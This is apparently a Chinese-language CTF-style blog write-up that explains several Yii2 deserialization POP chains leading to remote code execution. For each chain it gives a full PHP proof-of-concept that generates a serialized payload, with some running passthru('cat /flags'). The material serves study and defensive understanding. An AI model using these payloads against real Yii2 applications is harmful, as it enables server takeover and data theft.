一些名词
POC:漏洞证明
EXP:漏洞利用
环境搭建
当时学的时候不大会用composer,就用docker了
把框架下载下来然后执行docker-compose up -d
和docker-compose ps
根目录:http://127.0.0.1/fuxian/yii2/web/index.php
变量r
来表示控制器和方法
http://127.0.0.1/fuxian/yii2/web/index.php?r=控制器/方法

比如这里就是?r=test/test&data=xxx
上面的代码相当于做了一个反序列化的入口点
POP链(1)
我们先知道漏洞的切入点是在yii\db\BatchQueryResult
类中,其中有个__destruct()
魔术方法

跟踪这个reset
函数,我们可以发现

如果$this->_dataReader
没有close
这个函数的话,就可以触发__call()
的魔术方法
我们来找一下比较可疑的__call()
函数
Faker\Generator
中有个不错的__call()
函数

其中$method
会自动接收不存在的方法名,$attributes
则以数组的方式接收不存在方法的多个参数。
我们跟踪一下format

再跟踪一下getFormatter

由于$this->formatters
是可以操纵的,所以相当于返回一个自定的函数
接下来的问题是,有哪个函数可以不用再传参便可RCE
这里可以查找一下call_user_func
函数的无参方法以实现RCE
构造正则

其中yii\rest\IndexAction
和yii\rest\CreateAction
里面的run()
函数比较符合!

然后就可以通过控制$this->checkAccess
和$this->id
来实现RCE了
pop链就是
yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Faker\Generator::__call()->format()->call_user_func_array()
↓↓↓
\yii\rest\IndexAction::run->call_user_func()
贴一下林神的poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
代码中$this->formatters['close'] = [new IndexAction(), 'run'];
就是表示IndexAction
类中的run
函数
然后这题要RCE还得用passthru
....
POP链2

BatchQueryResult
不能用了,可以考虑找别的起点

RunProcess.php
里就有个诱人的__destruct()
跟进一下

我们可以通过$this->processes
来触发__call()
poc:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flags';//命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes = [];
public function __construct()
{
$this->processes[] = new Generator();
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
POP链3
还是去找__destruct()
有个DiskKeyCache.php
里的似乎很诱人

跟进一下clearAll

这里的出现了字符串拼接,可以考虑__toString()
魔术方法
后面就有很多类可以利用了。比如这里的XmlBuilder.php

然后就可以触发_call()
了
POC:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flagsa';//命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['saveXML'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Util{
use Faker\Generator;
class XmlBuilder
{
protected $__dom__;
public function __construct()
{
$this->__dom__ = new Generator();
}
}
}
namespace {
use Codeception\Util\XmlBuilder;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new XmlBuilder();
$this->keys["AA"]="AA";
}
}
}
namespace{
echo serialize(new Swift_KeyCache_DiskKeyCache());
echo "\n";
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
另一条链子
还是以BatchQueryResult.php
为入口,只是这次来找一个有close()
的函数
DbSession.php
中有一个很诱人的函数

跟进一下里面的composeFields
函数

其中writeCallback
是可控的,我们可以利用之前的run
函数实现RCE
Poc:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';//命令执行
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct()
{
$this->writeCallback = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new DbSession();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo serialize(new BatchQueryResult());
echo "\n";
echo base64_encode(serialize(new BatchQueryResult()));
}
Comments | 1 条评论